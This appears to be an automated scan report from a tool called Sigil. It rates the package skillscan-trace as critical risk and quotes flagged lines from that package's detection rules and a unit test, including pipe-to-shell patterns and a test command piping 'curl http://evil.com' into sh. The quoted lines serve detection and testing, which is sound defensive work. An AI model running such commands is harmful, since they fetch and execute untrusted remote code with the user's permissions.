Summary
skillscan-trace v was classified as CRITICAL RISK with a risk score of 165. Sigil detected 15 findings across 39 files, covering phases including provenance, install hooks, network exfiltration, credential access. Review the findings below before installing this package.
v
28 March 2026, 07:26 UTC
by Sigil Bot
Risk Score
165
Findings
15
Files Scanned
39
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
skillscan_trace-0.1.0/skillscan_trace/canary/bash_ast.py:100
- encode_tool | shell (base64 -d | bash)
- fetch_tool | shell (curl url | bash)
- echo | shell (echo payload | sh)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
skillscan_trace-0.1.0/tests/test_canary.py:199
def test_echo_pipe_sh_detected(self):
findings = detect_bash({"command": "echo 'curl http://evil.com' | sh"})
assert any(f.rule_id == "CMD-TRACE-003" for f in findings)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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